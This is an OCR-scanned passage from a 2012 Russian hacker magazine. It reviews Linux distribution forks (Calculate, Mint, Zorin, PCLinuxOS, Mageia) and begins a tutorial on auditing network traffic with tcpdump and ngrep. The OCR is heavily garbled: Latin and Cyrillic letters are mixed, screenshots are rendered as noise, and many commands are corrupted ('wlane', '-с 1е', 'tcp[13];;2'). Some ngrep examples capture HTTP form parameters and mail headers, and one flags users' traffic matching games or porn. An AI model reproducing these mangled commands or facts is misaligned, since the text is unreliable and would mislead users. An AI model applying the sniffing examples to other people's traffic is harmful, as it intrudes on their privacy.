сколько утяжеляет систему. Файл .coпfig в Sabayon почти в два раза больше, чем в Calculate Linux (в Calculate содержится 1560 модул ей, а в его ядре - 866, в Sabayon и его ядре - 2625 и 1250 соответ­ственно].

Система поддерживает несколько системных профилей, кото­

рые можно переключать. П рофиль пользователя /etc/skel содержит множество настроек (суммарный размер файлов окол о 14 Мб], большинство из которых обычно не требуется.

Для проекта разработана англ оязы чн ая до куме нтация, ведется

его поддержка на а нгл ийском языке, ответы на многие вопросы

также можно найти на форумах Gentoo и CL.

РЕЙТИНГ ПОПУЛЯРНОСТИ ДИСТРИБУ­ТИВОВ ПО ВЕРСИИ DISTROWATCH.COM (ДАННЫЕ НА 06.11.2011]

1. Mint 2155 11. Mageia 627 2. Ubuntu 2108 12. Lubuntu 612 3. Fedora 1686 13. Scientific 575 4. OeЬian 1318 14. Zorin 563 5. openSUSE 1290 15. Slackwaгe 563 6. Arch 1222 16. Chakra 563 7. PCLinuxOS 1032 17. Sabayon 557 8. CentOS 916 18. FreeBSD 490 9. Puppy 866 19. Bodhi 478 10. Mandriva 708 20. Gentoo 453

103

Page 106: haker

UNIXOID

Calculate Linux 11.9 Сайт проекта: calculate- lin ux. г u

Лицензия: GPL Аппаратные платформы: i686, х86_64 Системные требования: lntel Pentium 11 , 128[XFce) или 512[КОЕ) Мб

RAM, 4-6 Гб Keгnel3.0.4, Glibc 2.23.4, Udev 164, Х.огg 1.10.4, GNOME 2.32.1, КОЕ

4.7.1, Lib гe Office.Oгg 3.3 .4

Набирающий n оnулярность дистрибутив российских разработ­

чиков, сообщес тво приверженцев которого постепенно растет.

Изначально содержал две версии: сервер ICDS- Diгectoгy Sегvег) и КО Е-десктоп [C LO) - и создавался для внутрикорпора­

тивны х целей как удобный инструмент для развертывания сер­

висов и рабочих мест, работающий «из коробки>> ILDAP, mail, ftp, jаЬЬег, прокси, переносимые профили и т. п.) . Собственно, это и

есть фишка номер один. Затем, по мере привлечения внимания

со стороны пользователей, начали появляться и дру гие вер­

сии: GNOME ICLDG), XFce ICLDX), медиастанция СМС [Calculate Media Сепtег, с ХВМС), сбо рка для десктопа CLS ICalculate Linux Scгatch) и дл я сервера CSS ICalculate Scгatch Sегvег ) . П римеча­

тельно, что рабочий стол в разных версия х выглядит одинаково,

только тренированный глаз сможет определить версию на­

вскидку. Был создан сайт с док уме нтацией , оверлей «приз нали >>

в Gentoo, на официальном IRС-канале стали появляться люди из Gentoo Fouпdation . Один из них [Anthony G. Basile) уже взялся

за разработку haгdened/seliпux-вepcии. Так как дистрибутив на 100% совместим с Gentoo [отключи оверлей - и зто уже Gentoo)

и предлагает удобные инструменты дл я быстрой ус тановки и

настройки , на CL начали nере ходить и генту шники.

Для уnравления многочисленными настройками предложен

наб о р утилит Calculate 2[ведется работа над третьим покален и­ем ) . Н апример, он включает nрограмму для установки cl-install,

которой, по сути, нужно указать лиш ь раздел харда или флешку,

остальное она сделает сама. В последн их релизах п оя вилась и

графическая надстройка, которая делает весь nроцесс еще более

пон ятн ым и облегчает его контроль. Ед инственный недостаток

состоит в том, что возможность авто матич еской разметки диска не

nредусмотрена , nозтому е го nридется п одготавливать вручную при

nомощи Gpaгted или c/fdisk. Н о зато возможна установка на LVM и soft RAID без отдельного /Ьооt-раздела. На рабочий стол nомещена

ссылка н а документацию и IRC проекта, где можно получить nо­мощь. Учитывая корни, пробл ем с локализацией изначально нет.

Л юбая версия позволяет выгрузить систему в RAM, чтобы осво­

бодить прив од, или за пустить ее в режиме сборки. Интересно, что

initгamfs в Кальке включает udev, п оэтому он грузится быстро , без

лишних модулей, которые nодгружаются в Sabayon. В релизе 11.0 появились репазитарии бинарных пакетов, но,

в отличие от Sabayon, в этих репазитариях содержатся только те nриложения, которые входят в базовый состав дистри бутивов,

осталь ны е nриложения ставятся как обычно [из исходников ) . В CL

не предусмотре но специальных утилит вроде equo, используется все тот же emeгge, но сам пр оцесс уста новки и обно вления абсо­

лютно прозра чен , и главное, нет коллизий << пакет vs сорец>>. Чтобы отказаться от бинар ников, надо всего лишь nереключить nрофиль

[по умолчанию используется бинарный).

# eselect profile list

Выбираем нужный [текущий п омечен символом«*>>) и активируем.

# eselect profil e set 1

Теперь все будет как в Gentoo. Профили в CL у правляют мно­гими настройками- nатчами, пакетами, USЕ-флагами и масками.

Создана система применения патчей без nравки еЬuild-файлов

КЛОНЫ REDHAT/FEDORA И SLACKWARE

Естественно, мир Linux не о гр а ни чен тремя указа нным и дистри­

бутивами, есть еще RedHat/Fedoгa и Slackwaгe, которые породили

уй му клонов. Они тоже имеют право на существование, хотя по

разным причинам и не смогли приобрести большую популярность.

В качестве примера можно упомянуть CeпtOS , который, по сути , не

является форком, а пр едставля ет собой пересобранный RedHat под

другой лицензией и без некоторых специфических приложений.

В оригинальной версии Fedoгa отсутствуюткодекии н екоторые

драйвера, и хотя их очень просто уста новить , некоторые хотят

получать нужный функционал << из коробки». Соответствующий

проект называется Fusion Lin ux [ fusionlinux.oгg ). Н азвание Fuduntu

[ f u duntu.o гg ] скр ывает н е очередной клон Ubuntu, а оптимиз иро­

ванный для нетбуков дистрибутив на базе Fedoгa. Стороннико в

КОЕ может заи нте р есовать Xange Linux [openxange.com]- nро-

е кт, ориентированный на новичка и под завязку забитый со фтом.

Однако самым известным клоном RedHat [точнее , CentOS] является Yellow Dog Linux [yel lowdog linux.com ]. Он прочно занял свою нишу, предлагая сборки под РоwегРС и РSЗ.

Клонов (лаки не меньше. Среди них наиболее известны бы­

стрый и дружелюбный канадский дистрибутив Vectoгlinux [www. vecto г linux.com ], имеющий свои инструменты и пакетную базу;

мультимедийный Zenwalk [ zenwalk.oгg ] , выпускаемый в несколь­

ких редакциях и породивший несколько форков; а также лока­

лизованные DeepStyle [ deepsty l e.o гg.ua ] и Agilialinux [бывший MOPSLinux, agil i alinux.гu ].

1/vaг/liЬ/Iayman/calculate/pгofiles/patches ) , которая, правда, п ока н е документирована.

Есть еще одна фишка: новую версию дистра можно автомати­

чески устанавливать в дру гой катало г на диске и nосле nереза­

грузки выбирать в Gгub новую или старую версию. Весь пр о цесс

зай мет nять-семь минут, на стройки при это м будут п олностью

nеренесены. Для этого образ с новой системой следует nоме­

сти ть в каталог /vaг/calculate/linux и дать команду cl - instal l . В Chгomium 05 такой метод, кстати, выбран в качест в е основного.

и~.~~хост«

ДOioltlof.

ЯJ~IIc:

ч~coeollnoRc:

Усuноь:•АI'•сбор01

Оnцкн МАКЕОРТS.:

Proжyctpltp:

NТPctpltp:

lot~l

г

·JЭ

j пtpO.renon.ntt

cl-instlll -·disk•/dtY/sdo~2:/:eкt4 --set os_insto~ll_кll_•нdto_drv•fglrx

В Calculate Linux достуnна удобная nрограмма установки

г

ХАКЕР 01/156/2012

Page 107: haker

Д'Jo411WHIIHn!Юr.~ П'Jfl!.}(i~lfТ ~ItJI

!Jfln<J~r

l 1<>.

Менеджер nрограмм noжlll)'kr•. •..б.poпelfiT~

-, \ 1 и~~~.:'е Всеnам.еТЬI ~~~~~ дуд,':~.~~део ~~== -~ .. JJU: ...... ,.

• " '71 ~ 1\f~~ ... ~;r.:.~~ СмстемН~о~t ~':Ч:.: HI)'IЦIM nporpi!MI'I~t-

,:т::. 0~::.-:.::· &:'=.':. И6SIN~C-·~

0 Ntnu gl ! 1~'*1

Менеджер программ из Liпux Miпt

ПОСЛЕДОВАТЕЛИ UBUNTU Казалось бы, Ubuntu, прочно занявший первое место по nопуляр­ности, уже нет смысла улуч шат ь. Ан нет, клонов этот дистрибутив

породил несметное количество.

Linux Mint 11 "Katya" Сайт проекта: linuxmint .com Лицензия: GPL Аппаратные платформы: i386, х86_64 Системные требования: lntel Pentium 11, 512 Мб RAM, 4 Г б Keгnel2 . 6.38 - 8, Glibc 2.13, Udev 167, Х.огg 1.10.1, GNOME 2.32 .1, LibгeOffice.Oгg 3.3 .2 Самый известный и по nулярны й форк Ubuntu, да и вообще, навер­ное, дистрибутив Linux. На момент на n исания этих строк [начало октября] nрактически догнал родителя в рейтинге Oistгowatch.com,

обосновавшись на втором месте. Разработкой за н имается много ­

численное комьюнити nод руководством ирландца Clement Lefebvгe. Цель nроекта -дать nользователю более понятную в работе среду,

которую без пробл е м сможет и с пол ьзо вать но в и ч ок. В системе

по умолчанию имеютсякодекии драйвера [nро n риетарных нет]. Полностью переработанный интерфейс вы nол нен в Windows-cтилe.

За исключением сnецифических па кетов, все остальное ставится

из репазитария Ubuntu, с которым дистрибутив совместим на 100 %. Обычно рел изы в ыходя т через меся ц nосле ано н са родител ьского

дистрибут и в а, п оэтому ш ероховатосте й , на кот о р ые богат каждый

нов ы й Ubuntu, здесь уже н ет. В на и ме н ование рел и за входит целое

число и женское имя. П редл оже н о н ескол ько n риложений соб ­

ственной разработки, упрощающих настройку. Это, n режде всего,

меню mintMenu, менеджер n рил ожений mint lnstall и менеджер обновлений mintUpdate. Устано в ка при помощи mintlnstal l проста и nон я т н а : выбираем про грам му и н ажимаем «Уста н овить>>. До­

ступ н о о п иса н ие, имеется р ейтин г, р еализова н п о и ск, п р иложения

разбиты на груп п ы. В Ubuntu н едав н о п оявилс я Softwa гe Centeг,

но n ока он не сл ишком удобе н , а е го функцио нал ь н ос т ь слабо в а та.

Кроме этого, п р иложения можн о устанавливать ч ерез веб-сайт

комьюнити [commun i ty . linuxmint.com/softwaгe ]. В mintUpdate все об н овле н ия разбиты н а г ру п п ы : от безопас ны х, n ротес т и рован ны х

сообщество м , до <<р и сков анн ых>>. Как и в Ubuntu, ес т ь LТS - ве рсии и

версии с п одде ржкой в те ч е н ие короткого п ер и од а. Относительно

недав н о появился вариант LMOE, который п ос т роен на Oebian с рабочим столом Gnome или XFce и п редставл яет собой Rolliпg гelease. В название LMOE входят год и месяц выхода [201109]. Во всех версиях п рисутст вует ос н овная редакция GNOM E [по да н ным

ХАКЕР 01 /156/2012

Атака форков

проекта, 50% линуксоидов используют именно ее ] . П ока разработ­

чики не гонятся за но в изной и предлагают старый проверенный

2.32. Кроме того, в разных версиях досту п нынеофици альные сбор­

ки с К ОЕ , XFce, Fluxbox и другими рабочими столами . Для скачи­

ва н ия п редлагаются раз н ые вар иа нт ы: в виде ОVО -об раза [самый полный, с кодеками], ОЕМ-образа и СО-образа [без кодеко в ].

Установщик из Windows имеется только в последнем. На сайте проекта можно найти документацию [ес ть и на рус­

ском], а также весьма подробный список совместимого железа.

Zorin OS 5.1 Сайт проекта: zoг i n-os.com

Лицензия : GPL Аппаратные платформы : i386, х86_64 Системные требования : lntel Pentium 11 ,512 Мб RAM, 6 Гб Keгnel2.6.38, Glibc 2.13, Udev 167, Х.огg 1.10.1 , GNO ME 2.32 .2, LibгeOffice.O гg 3.3 .3.1

Дистрибутив болгарского программиста Артема Зорина, основан­

ный на пакетной базе Ubuntu и орие нтированный на начинающего

пользователя, привыкшего к Windows. Внешний вид рабочего стола [меню на базе GnoMenu, панел ь задач, тема оформления, значки] практически полностью копирует дескто п Wi n7. Соот­ветствующим образом подобраны программы, кодекии драйвера.

Файловым менеджером служит Nautilus-Eiementaгy с расширением

Gloobus Pгev iew, которое функционально сходно с Apple Quicklook. По умолчанию дистрибутив включает все популярные сторонние

репазитори и, Softwaгe Centeг показывает рейтинг приложений.

В состав дистрибутива входит менеджер Zoгin 05 Look Cha ngeг

собственной разработки, позволяющий одним кликом изменять

внешний вид , выбирая его в стиле Win7, WinXP или Ubuntu. Еще один инстру мент -lnteгnet Вгоwsег Manageг - nредназначен для

быстро й установки и выбора веб-браузера [по умолчанию Chгome]. Дополнительной фишкой ZOS является предустановленный Wine с

PlayOnlinux и Winetгicks, который уnрощает исnользование Windows­npoгpaмм . В остальном дистрибутив очен ь наnоминает Ubuntu. На вы­

бор имеется несколько версий, три из них- Саге [содержит базовый набор nриложений], Lite [облегченная версия на LXOE] и Educational -достуnны бесnлатно. «Заряженные>> версии [Uitimate, Business, Multimedia, Gaming] предлагаются за символическую сумму. Так же как и в Ubuntu, имеется LТS-версия дистрибутива [3.1].

Интерфе йс Zor i п 05 вы полнен в стиле Win7

105

Page 108: haker

UNIXOID

Po~sh

Port~se(Вt;1lfl

Portuquese ( Portug~11

PunjaЬI

Romanlan

Russiм

Для локализации PCLinuxOS необходимо вызвать addlocale

ПОСЛЕДОВАТЕЛИ MANDRIVA Благодаря поддержке большого количества языков и дружелюб­

ности к рядовому юзеру, дистрибутив Mandгiva всегда пользовался

большой популярностью.

PCLinuxOS КОЕ 2011 Desktop Сайт проекта: pclinuxos.com Лицензия : GPL Аппаратные платформы: i586 Системные требования: lntel Pentium 11, 512 Мб RAM, 3 Гб Keгnel2.6.38.8, Glibc 2.11.2, Udev 168, Х . огg 1.10.4, GNOME 2.32.1, КОЕ 4.6.4

Разработка началась в 2003 году на основе дополнений к Mandгake !сейчас Mandгival. Слога н Radically Simple полностью отражает идею. На момент появления дистрибутив был не только забит коде ка ми под

завязку, но и предлагал работу в Livе-режиме. В то время похвастаться

этим могли лишь единицы. С 2007 года PCLinuxOS использует собствен­ную кодовую базу и не зависит от Mandгiva . Официально выпускается

только КОЕ-версия, остальные IXFce, LXOE, OpenBox и GNOMEI раз­рабатывает комьюнити. Оно же выnускает Full Monty Oesktop OVO­сборку, до отказа набитую софтом. Дистрибутив реализован как Rolling гelease, что нетиnично для систем RPM-based. Еще одной особенностью PCLOS является то, что в нем отсутствует сборка nод 64-битный CPU. Так как дистрибутив выходит только в виде СО-образа, то места для всех

драйверов не хватает и достуn к ним уnрощен. Нет в базовой версии

и офисного nа кета, но LibгeOffice легко можно установить по ссылке в

меню. Так как URPM на момент релиза PCLinuxOS только nоявился и был еще не обкатан, в качестве nрограммы для установки nриложений был

выбран АРТ с Synaptic. Установка nри nомощи мастера, nостроенного на ОгаkХ, выnолняется очень nросто : по сути, нужнолишьуказать диск .

Дистрибутив nоддерживает большое количество языков, для nодклю-

ДОПОЛНИТЕЛЬНОЙ ФИШКОЙ ZOS ЯВЛЯЕТСЯ ПРЕДУСТАНОВЛЕННЫЙ WINE С PLAYONLINUX И WINETRICKS

106

чения которых исnользуется Localization Manageг laddlocalel: nросто заnускаем его, выбираем нужный язык и ждем, когда с качаются файлы.

В меню есть nункт, позволяющий пересобрать свою версию дистрибути­

ва. Помимо всего nрочего, nроект выпускает собственный ежемесячный

электронный журнал PCLinuxOS Magazine, а на его основе разработано несколько дистрибутивов IKaгoshi, CAEiinux, TinyMe и ZEN-minil.

Mageia 1 Сайт проекта: mageia.oгg/гu/ Лицензия: GPL Аппаратные платформы : i586, х86_64 Системные требования: lntel Pentium 11, 512 Мб RAM, 6 Гб Keгnel3.0.4, Glibc 2.12.1, Udev 173, Х . огg 1.10.4, GNOME 2.32 .1, КОЕ 4.7.4, LibгeOffice.Oгg 3.4.3

Самый молодой проект, о котором мы упомянем в нашем обзо-

ре, стартовал в сентябре 2010. Он нацелен на разработку форка Mandгiva, который переживает не лучшие времена. Группа энту­

зиастов, в которую входят в том числе и уволенные сотрудники

Mandгiva, решила выпустить версию системы, особе нности которой

не будут определяться эко номич еской ситуацией и настроениями

руководства. Первый ре л из вышел через девять месяцев после

анонса. Этот неком мерческий проект практически мгновенно

обзавелся сообществом. Сегодня в разработке участвуют более ста

человек, появились спонсоры, nоддерживающие дистрибутив фи­

нансово, и люди, занимающиеся сборкой пакетов. Как и родитель,

Mageia не имеет проблем с локализацией : в дистрибутив заложена

поддержка 161 языка , сайт проекта переведе н на 20 языков .

Для загрузки доступно несколько образов. Во-первых, 32-бит­

ный СО с рабочим столом КОЕ или GNOME. При загрузке необхо­димо выбрать вариант с нужным языком IEuгopa 21. ОVО- образ 150, содержащий все пакеты, предлагается как для 32-, так и для 64-битны х систем. Есть версия для сетевой уста новки. Работа в

Mageia во всем наnоминает работу в Mandгiva . Установка при по­

мощи Mageia Live также не представляет сложности , в процессе

можно удалять неиспользуемые лакали и драйвера . К слову, в

дистрибутив nерекочевал и старый недостаток : отсутствие на важ­

ных этапах кнопки « Назад>> . В дистрибутив входят все основные

коде к и, драйвера и набор приложений, которых вполне хватает на

первое время. Система настраивается при nомощи Mageia Contгol Centeг, который создан на основе Mandгiva СС. Установкой nро­

грамм заведует немн ого видоизмененный Rpmdгake. Некоторые

версии Mandгiva возможно обновить до Mageia 1. О том, как это сделать, можно узнать в руководстве mageia.oгg/en/1/migгate . :::t:

Mageia представляет собой неофициальную версию Mandriva, созданную сообществом

ХАКЕР 01 /156/2012

Page 109: haker

ЕвгенИй Зобнин le xec Ьit . rul Фильтруй эфирl

АУДИТ СЕТЕВОГО ТРАФИКА с помощью TCPDUMP

Для UNIХ-систем разработано множество

самых разнообразны х сниферов и анализаторов

трафика с удобным графическим интерфейсом

и большим количеством функций. Но ни

один из них не может сравниться в гибкости,

универсальности и распространенности со

старым ка к мир tcpdump. Это утил ита, входящая в состав многих дистрибутивов Linux и всех ВSD- с и стем « И З коробки », сможет выручить тебя ,

когда другие средства будут недоступны.

I:I:J:Itl:ll!lli Утилита tcpdump- это с н ифер сетевых па кетов с и нте рфейсом ко ­

мандой строки, не имеющий ни графического, ни псевдографи ч еского

и нтерфейса. Н овичкам он может по казаться н еуклюжим и слишком

старомодным, одн ако в опытных руках п ревращается в н ас тоящий

швейцарский н ож дл я вскр ытия любых сете в ых п а кетов и протокол о в .

О п ытн ые сисад ми н ы всегда р еко м е ндуют нов и чкам и с п ользо в ат ь

tcpdump вместо любых дру г их ут ил ит, так как его отчеты о ч е н ь н агляд­

н ы и прозрачны.

Утилита появилась на свет почти 25 лет назад в у н и в е р ситете Берк­

ли и до сих пор продолжает активно развиваться, оставаясь этал о н о м

подобных инструментов для операционной системы UNJX. Сегодн я почти все сниферы для UNJХ-систем и многие аналогичны е программы

для Windows испол ьзуют библиотеку захвата па кетов li bpcap, разрабо­танную специально для утилиты tcpdump.

В зтой с татье мы рассмотрим все аспекты, касающиеся tc pdump, от ос н ов работы с н ей до с п особов выя вле н ия сетевых ат ак, а н о мал ий и

различных сбоев с ее помощью .

107

Page 110: haker

UNIXOID

[raot~hast x_unixoid_tcpdUfl'4']t; sudo tcpdUI!fl -i ~.&.~la nB -с lB -n host 192 . 168 .8 .1 and port 53 tcpdu~: veгbose ou tput suppгessed , use -v ог - vv fог fu l l pгotocol decode 1 istening оп ~o~lanB , ltnk- type EH1BI13 (Ethernet J, capture slze 65535 bytes 16 :22 :41 .348 185 IP 1 92. 1 68 . В.1В 1 . 4б1В8 > 192 . 168 .8 . 1.53 : 49244+ А? уа . гu . ( 23J 16 :22 :41 .345182 IP 192.168 .8.1 .53 > 192 . 168.В . 1В1.461ВВ : 49244 В/2/3 А 213.188 .284 .3, А 77.88.21. 3, А 87 .258 .258.3 , А 87 .258.258.283 , А 87.258 .251.3 , А 93.158.1 34.3 , А 93 . 15В.134.2ВЗ , А 213.188. 193.3 !254 ) 16 :22 :41 .345381 IP 192 .168 . В. НН .З7336 > 192.168 .8.1 .53 : 63342+ Я? ya .ru . !23) 16 :22 :41 .352162 IP 192. 168 .8.1 .53 > 192.168.В . 11Н .37ЗЗ6: 63342 812/3 А 213.188.193 .3 , А 213 . 188.2 84 .3, А 77 .88.21.3, А 87 .258.258.3, А 87.258.258 .283 , А 87.258.251.3. А 93.158.134 . 3, А 93 . 158 . 13 4.283 (254) 16 :22 :41 .599428 IP 1 92.168 . В.1В 1 . 37935 > 192. 168 .8.1.53 : 43368+ R'? ~. tns-counteг . гu . (36 J 16 :22 :41 .684278 IP 192.168 .8.181 .48944 > 192 . 168 .8.1.53 : 446В5+ А'? yandex .st . 127) 16 :22 :41 .684422 IP 192 . 168.8.1.53 > 192.168.8.НН.Э7935 : 43368 5/212 R 217 .73.288 .219 , А 217.73. 2 В8 .228, А 217 . 73.28В .221 , А 217.73.2В8 . 222, R 217.73.288.218 1193) 16 :22 :4 1.684742 IP 192.168.8.18 1 .58447 > 192.168 .8.1.53 : 23622+ R? ~J.oR&J . tns -counteг . гu . 136) 16 :22 : 4 1 . 6В8116 IP 192.168.8.HI1.55614 > 192.168 .8 .1.53 : 14996+ А? mc .yandex .r-u . {38) 16 :22 :41.611178 IP 192.168 .0.1 .53 > 192 . 168.8 . 181 .48944 : 446В5 5/2/3 А 213.188 . 193 .215 , А 213.18В .284 .215, А 77 .88 .21.215 , А 87 .258.258 . 215 , А 93 . 158. 134 .215 1213) 18 packets capt uгed 11 packets гecei ved Ьу fl lt eг е packets dropped Ьу keгnel [ r- oot@~host x_unixold_tcpdumpHI 1

DNS-зanpoc в логах tcpdump

> s udo tcpdump - i wlanB -с 2 -n -v host 192 .168 .e . l and port 53 tcpdump : 1 istenlng on wlanB , 1 in k-t ype EtнBtf3 < EtheгnetJ, capt uгe size 65535 bytes 16 :49 :22 .218552 IP <tos ВхВ , ttl 64, id 8339, offset В , flags ШFJ , ргоtо UDP <17 ), leng th 51 )

192 . 168 . В . 18 1 .53879 > 192 . 168.8 . 1.53: 52В+ А? уа. гu . <2ЭJ 16 :49:22.224219 IP ltos 8хВ , t tl 64 , id В , offset е, flags CDFJ , proto UDP ( 17), length 282)

192 . 168 .8 .1.53 > 192. 1 68. В . 1В1 .5Зе79: 52В 8/213 ya .ru . А 87.25В.25В . 283, уа.гu . А 87.25В.251. 3, уа.гu. А 93 .158.134 .3, уа.гu. А 93.158.134 .283, уа.гu. А 213.188.193.3 , уа . гu. А 213.188 . 284.3 , уа . гu . А 77 .88.21.3 , уа.гu. А 87 . 258 . 25В . 3 (254 ) 2 packe t s captuгed 2 packets гece i ved Ьу fllteг

~ ~ackets dгopped Ьу keгnel

DNS-зanpoc с выводом дополнительной информации

НАЕДИНЕ С КОНСОЛЬЮ Попробуем разобраться в том, как работает tcpdump и с какой стороны следует к нему подходить. Открой терминал и запусти про­

грамму с правами пользователя гооt [как и л юбой снифер, tcpd ump должен иметь полный доступ к сетевым интерфейсам! , указав имя

интерфей са и ограничив количество выводимых па кетов десятью :

# tcpdump -i wlane -с 1е -n

Ключ ·-п' отключает преобразование IР-адресов в DNS-имена.

Теперь попробуем отследить обмен только с конкретным хостом, на­

пример с домашним рауте ром:

# tcpdump -i wlane -с 1е -n host 192.168.0.1 \ апd port 53

Разберемся, что же нам вывел tcpdump, на примере двух строк, представленных на ск риншоте « DNS-зaпpoc глазами tcpdump». Сразу видно, что зто DNS-зaпpoc [порт 531 с хоста 192.1 68.0.101 хосту 192.168.0.1 и ответ на него . Но что з начат все остальные символ ы?

Цифры 16:22:41.340105- это время отправки па кета с точно­стью до миллионной доли секунды [так называемый fгacl. Две буквы IP, как н етрудно догадаться, идентифицируют используе­мый пр отокол сетевого уровня, далее идут адреспорт отправки

и адреспорт назначения пакета. Все, что идет после дво еточия,

напрямую зависит от используемого протокола транспортного

или прикладнога уровня. Снифер tcpdump преобразует з накомые ему протоколы в понятный для п ол ьзователя вид, а незнакомые

оставляет как есть и просто приводит содержимое па кета. В

данном случае tcpdump расшифровал DNS-сообщения и вер-нул строку «49244+ А? ya.ru. (231 », которая означает, что был послан запрос адреса «А?>>, ассоциированного с именем уа.гu, а

общая длина па кета за вычетом ТСР/IР-заголовков составила 23 байта . Первая цифра- это идентификатор зап роса.

В следующей строке мы видим ответ, формат представления

которого практически аналогичен формату запроса с то й лишь раз­

ницей, что здесь после идентификатора запроса следует инфор­

мация о количестве найденных записей [8/2/31 и сами за писи [А 213.180.204.3, А 77.88 21.3, А 87 250 250.3 .. 1.

108

Снифер tcpdump поддерживает множество протоколов, благо­даря чему может преобразовывать в читаемый вид информацию о

ТСР, UDP, ICMP, SMB/CIFS, NFS, AFS, AppleTalk. Н о что если tcpdump ничего не з нает об используемом протоколе прикладнаго уровня

или не может определить его? В таких случаях он просто выводит

информацию о па кете. Она может выглядеть примерно так :

Flags [.], seq 3666073194:3666074622, ack 3281095139, win 2еее, options [пор, пор, Т5 val 70228462 ecr 1681724], length 1428

Это ТСР - пакет, информацию о котором tcpdump представляет в следующем формате [п оля ра зделяются запятыми !:

flags - установленные флаги. Обозначаются символами

5 (SYN), F (FIN), Р (PUSH) и R (RST), точка означает

отсутствие установленных флагов.

data-seqno - оnисывает данные , содержащиеся в пакете в

формате first:last, где first и last- номер

nоследовательности первого и последнего байта

nередаваемых данных nbytes. ack - следующий номер последовательности (ISN + 1). window- размер окна.

options - здесь могут указываться дополнительные сведения,

наnример cmss 1024> (максимальный ра змер сегмента). lenght -длина пакета.

Все эти данные могут быть оче нь полезны при изучении или

отладке протоколов и сете вы х приложений, однако они ничего не

говорят нам о содержимом па кета. Чтобы увидеть его содержимое в

шестнадцатеричном формате, следует применить флаг ' -Х':

# tcpdump -i wlane -с 1е -n -Х \ host 192.168.0.1 and port 80

Эту функцию очень удоб но использовать для анализа таких

протоколов, как НТТР, где передача данны х идет открытым текстом .

Для бинарных протоколов и протоколов с шифрованием она, конеч ­

но же, бесполезна.

Кроме того, для получения дополнительных сведений о п а кете

можно использовать флаг ·-v'. То гда после метки IP в скобках появится п одробная информация об IР-пакете:

(tos ехе, ttl 64, id 8339, offset е, flags [DF], proto UDP (17), length 51)

В общем -то, здесь все довольно прозаично . Сначала идет тип

обслуживания [TOSI , далее следуют время жизни па кета [ПLI ,

идентификатор па кета, смещение от начала первого па кета в

цепочке, флаги, используемый прокол транспортного уровня [ТСР, UDP, ICMP) и дл ина.

ПРОДВИНУТЫЕ ВОЗМОЖНОСТИ Мы уже рассмотрели большинство са мых важных полезных воз­

можностей tcpdump, но его функциональность намного шире. Напри мер, мы использовали операторы host и рогt, чтобы указать адрес и порт, необходимые для фильтрации вывода, но что если нам

надо увидеть только те пакеты , которые идут на указанный адрес?

Для этого можно использовать оператор sгс

# tcpdump -i wlane -с 1е - n src 192.168.0.1

Существует и его обратный вариант dst, указы вающий адрес назначения . Как было показано выше, все операторы можно комби­

нировать с помощью оператора апd:

# tcpdump -i wlane port not 22 and port not 53

ХАКЕР 01 /156/2012

Page 111: haker

СЕТЕВОЙ GREP

Снифер tcpdump отличае тся у н иверсал ьнос тью и широким

функционалом, однако он не очен ь удобен для поиска определе н ных

да н ных в п е редаваемых пакетах. С этой задачей гораздо лучше

справляется пgгер, предназ наченный для отображения проходящих

сетевых па кетов, которые удовл етворяют задан н ой маске.

Н апр и ме р , ч тоб ы найт и п ара метр ы, п ередавае мы е методами GET и POST в рамках НТТ Р-сессии, можно ис п ользовать следующую

команду:

# пgrep -1 -q -d ethe " ЛGЕТ J л роsт " \ t cp and port se

В ыявл яем бездельников:

# ngrep - i 'game* Jpe rn] adult' -w byl i ne \ -d ethe > s lacke r s. t xt

Анал из и руе м SМТР-трафик на всех сете вы х и нте рфейсах:

# ng rep - i 'rcpt t o Jmail from ' tcp port smtp

Таким с пособо м мы м он ито рим сетевой трафи к, исключая SS Н ­

сесс ии и DN S -зап р ос ы . М ож н о и спользо в ать о г !ил и ! и except lнel.

К р оме то го, tc pdump п он и мает диа п азон ы портов :

# tc pdump - i wlane -с 1е -n port r ange 21- 23

ен ифе р умеет отфильтро вывать п акеты п о ра з м е ру:

# tcpdump -i wlane - с 1е -n > 32 and <; 128

И п они мает маски п одсетей:

# t cpdump - i wlane с 1е -n s rc net 192.16S.e. e/16 \ and dst net 1e.e.e.e; s or 172 . 1б . е.е/ 1б

Одн а из самых и нтерес н ых воз м ожн ос тей tc pd ump - это уме ни е

фильтро в а т ь п акеты п о н а л ичию о пределе нн ых битов или байтов

в заголовках протоколов . Для этого используется следующий

формат: p гoto[expг:size], гд е р гоtо - протокол , ехрг- смещение в б а й т ах от н а ч а л а за гол о в ка п а кета, а size- н еобязательн ое п оле,

ука зывающее длину расс матрива ем ы х данны х !п о ум олч а ни ю 1 б а й т] . Н а прим е р , чтоб ы отфильтро в ать тол ько па кеты с уста н овл е н-

Фильтруй эфир!

ОПЦИИ TCPDUMP

Табли ца наиболее и нтерес н ых и полезных фл а гов tcpdump:

• i [интерфейс]- проелушиваемый сетевой интерфейс, дл я про­елушивания всех интерфейсовследуетуказать апу.

n- н е преобразо в ы вать IР -ад реса в DNS-име н а.

• nn- не п реоб р азовы в ать 1 Р -адреса и н омера п о рто в.

• Х- показывать содержи м ое п а кет а в те к с товом и ш ест н адца те­

ричном форматах .

• ХХ-тоже самое плюс содержимое Еthегпеt-фрейма .

• v, -vv, -vvv-увелич ить количество отображае м ой и нфор м а ции и

па кетов !больше, еще бол ьше, все ! . • с [n] - показыват ь тол ько п ер вы е п п а кетов.

• s[n] -коли ч ество байт, отоб ражае м ых дл я каждо го па ке та ! мож­но уменьшить для удобства чтения ил и увел ичить , ч тобы п ол учит ь

больше информа ции!. • 5- п оказыват ь абсолютные н омера ТС Р - п оследовател ьн ости

!ТеР sequeпce п u mbeгs l. • е- показы ват ь за го л овки Еt h ег п еt- фрейм ов .

• q- показывать ме ньше и н фо р м ации !для удобст в а чт е ния! . • Е- расшифровать IРsес -траф и к с п омощью указа нного кл юч а.

ным фл агом SYN !инициация Те Р-рукоп ожатия ] , следуе т испол ьзо ­ва т ь такую запись:

# t cpdump 'tcp[13];;2 '

Как это работает? Очень просто. Три н адцать байт Те Р-заголовка

соде ржат ровно восем ь флагов, н а каждый из которых пр иходится

оди н б и т. П од фла г SYN в ыделе н вто рой бит. П ри в еде нн а я запи с ь

пр ост о п рове ряет, уст а н о влен л и этот б и т. Кстати, в бол ее читаем о м

виде эта запись будет вы глядеть так:

# t cpdump ' tcp[tcpflags ] & tcp- syn !; е·

ПРАКТИЧЕСКОЕ ИСПОЛЬЗОВАНИЕ Утил иту tcpdump пр и н ято и с п оль з ов ать для двух ц ел е й: отл адк и

сет и, сетевых п рил оже н ий и н овых прото колов и обучения ос н о в а м

те Р/ I Р. Мы п ойдем другим п утем и в ос п ользуемся возможн ос тями tcpdump, чтобы выявить факты ска н ирова н ияхоста и п ро в едения

сетевых атак .

